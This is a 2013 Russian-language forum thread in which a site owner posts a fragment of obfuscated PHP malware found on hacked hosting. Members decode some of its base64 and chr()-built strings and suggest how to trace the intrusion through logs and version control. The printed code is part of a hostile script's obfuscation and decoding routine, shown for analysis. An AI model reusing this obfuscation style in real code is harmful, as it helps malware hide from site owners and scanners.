ReSQL.ru
     
powered by simpleCommunicator - 2.0.60     © 2026 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / Расшифровка вредоносной программы на php
6 сообщений из 6, страница 1 из 1
Расшифровка вредоносной программы на php
    #38350154
Oldwin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Oldwin
Участник
Всем привет. Поломали тут хостинг и закинули скрипт на PHP, который весь наглухо зашифрована каким-то неизвестным мне бредогенератором. Имеет кучу строк, ниже часть из них. Кто подскажет чем ее так лихо зашифровали и где бы взять дешифратор? =) Цель - понять что скрипт делает, и откуда эта зараза пришла.

Код: php
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
$mXD6kuhGw = array('Q29ud'.'GV'.'udC1Ue'.chr(88)."B".chr(108)."O".'i'.chr(66).chr(104)."c"."HBs"."aWN".'hdGl'.chr(118)."bi".'9'."6aXA=");$picties_0 = array('he'.chr(97)."der",chr(98).'W'.chr(86)."t"."b3J5".'X'.'2x'.chr(112).chr(98).'W'.chr(108).chr(48),"Ynpj".'b21wcm'."Vzcw==",'c2'.chr(70)."mZV9tb2"."Rl",'Ynpjb21wcmV'."zcw=".chr(61),"bWF4X2"."V4Z".'WN1d'."G"."lv"."b".'l90aW1l');$Manity_59 = array('or'.'d','b'.'cpowmod',"b".'c'.chr(109).'ul',"set_t"."im".chr(101)."_limi"."t","ZG".'VmYXVsdF9zb'.chr(50)."NrZ".chr(88)."R".chr(102)."d".'G'.'l'.chr(116).'ZW91dA'.chr(61)."=","pow","str".'l'.chr(101).'n',chr(98)."c"."add","MA=".'=');
$Unsexes = array('Ym'.'N'.chr(119).'b'.'3dtb2Q=','is_'.chr(99).'a'."l".chr(108)."a".chr(98).'le');
....
 function Irlanges($Picte, $Overformible_94, $Formfuling2029)
{	

$misexantes_39a = chr(98).'ase6'.chr(52).'_decode';
$Formitying = array("chr");
$Clos_21 = array(chr(111)."rd","p".chr(111).'w');

$formtioning42af = array("M"."A=".chr(61),"s"."u".'b'.chr(115)."tr",'s'."t"."r"."len");$Ownce = array('c'."ei"."l");

  $ownive_a8  = '';


  $subformivees = 3;

  $Procesioned = $Ownce[0]($formtioning42af[2]($Picte) / $subformivees);


  for($posibles = 0;

 $posibles < $Procesioned; ++$posibles)
  {
    $Imlangies = $formtioning42af[1]($Picte, $posibles*$subformivees, $subformivees);
    $pictiesf1   = $misexantes_39a($formtioning42af[0]);


    for($h3d4Pdc = 0;
 $h3d4Pdc < $formtioning42af[2]($Imlangies); ++$h3d4Pdc)
      $pictiesf1 += ($Clos_21[0]($Imlangies[$h3d4Pdc]) + 1) * $Clos_21[1](256, $h3d4Pdc);


    $pictiesf1    = Returning(Formsedfb2($pictiesf1, $Overformible_94, $Formfuling2029), 255);
    $ownive_a8 .= $pictiesf1.$Formitying[0](255);	  
  }

  return $formtioning42af[1]($ownive_a8, 0, -1);
	
}
...
Рейтинг: 0 / 0
31.07.2013, 13:49
| Ответить | Цитировать | Написать  
Расшифровка вредоносной программы на php
    #38350237
vkle
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
vkle
Участник
Oldwinгде бы взять дешифратор? =) Цель - понять что скрипт делает
Ручками расшифровывать, или eval'ом, только аккуратно ;-)
Код: php
1.
var_dump($mXD6kuhGw, $picties_0, $Manity_59, $Unsexes);

Выдает:
Код: php
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
array(1) {
  [0]=>
  string(40) "Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi96aXA="
}
array(6) {
  [0]=>
  string(6) "header"
  [1]=>
  string(16) "bWVtb3J5X2xpbWl0"
  [2]=>
  string(16) "Ynpjb21wcmVzcw=="
  [3]=>
  string(12) "c2FmZV9tb2Rl"
  [4]=>
  string(16) "Ynpjb21wcmVzcw=="
  [5]=>
  string(24) "bWF4X2V4ZWN1dGlvbl90aW1l"
}
array(9) {
  [0]=>
  string(3) "ord"
  [1]=>
  string(8) "bcpowmod"
  [2]=>
  string(5) "bcmul"
  [3]=>
  string(14) "set_time_limit"
  [4]=>
  string(32) "ZGVmYXVsdF9zb2NrZXRfdGltZW91dA=="
  [5]=>
  string(3) "pow"
  [6]=>
  string(6) "strlen"
  [7]=>
  string(5) "bcadd"
  [8]=>
  string(4) "MA=="
}
array(2) {
  [0]=>
  string(12) "YmNwb3dtb2Q="
  [1]=>
  string(11) "is_callable"
}

Там несложно угадать php-шные функции, куски чего-то в base64. Так дальше и двигать...
...
Рейтинг: 0 / 0
31.07.2013, 14:28
| Ответить | Цитировать | Написать  
Расшифровка вредоносной программы на php
    #38350251
vkle
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
vkle
Участник
Oldwinи откуда эта зараза пришла.Классические способы распространения - это скомпрометрованные реквизиты доступа FTP/SSH и незакрытые уязвимости используемых скриптов.

Смотрите время/дату файлов с этим кодом. Далее, зная время/дату смотрите логи FTP и SSH-авторизации, логи доступа и ошибок вебсервера.
...
Рейтинг: 0 / 0
31.07.2013, 14:33
| Ответить | Цитировать | Написать  
Расшифровка вредоносной программы на php
    #38350257
vkle
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
vkle
Участник
Код: php
1.
base64_decode($mXD6kuhGw[0])

Дает на выходе
Код: php
1.
Content-Type: application/zip
...
Рейтинг: 0 / 0
31.07.2013, 14:36
| Ответить | Цитировать | Написать  
Расшифровка вредоносной программы на php
    #38350422
st_st
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
st_st
Участник
Дату обновления файлов вирусы обычно не меняют (точнее после модификации файлов дату ставят прежнюю - зависит от запрета выполнения некоторых функций в php.ini и самого вируса), поэтому найти его среди сотен/тысяч файлов php - задача ещё та, хотя иногда получается довольно быстро поиском по файлам на предмет base64. А что вирус делает - никогда не разбирал, трата времени.
...
Рейтинг: 0 / 0
31.07.2013, 15:54
| Ответить | Цитировать | Написать  
Расшифровка вредоносной программы на php
    #38350548
Фотография Hett
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Hett
Участник
Надо проекты на серверах версионировать, тогда банально тот же git status, например, покажет что изменено :)
...
Рейтинг: 0 / 0
31.07.2013, 16:54
| Ответить | Цитировать | Написать  
6 сообщений из 6, страница 1 из 1
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / Расшифровка вредоносной программы на php
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]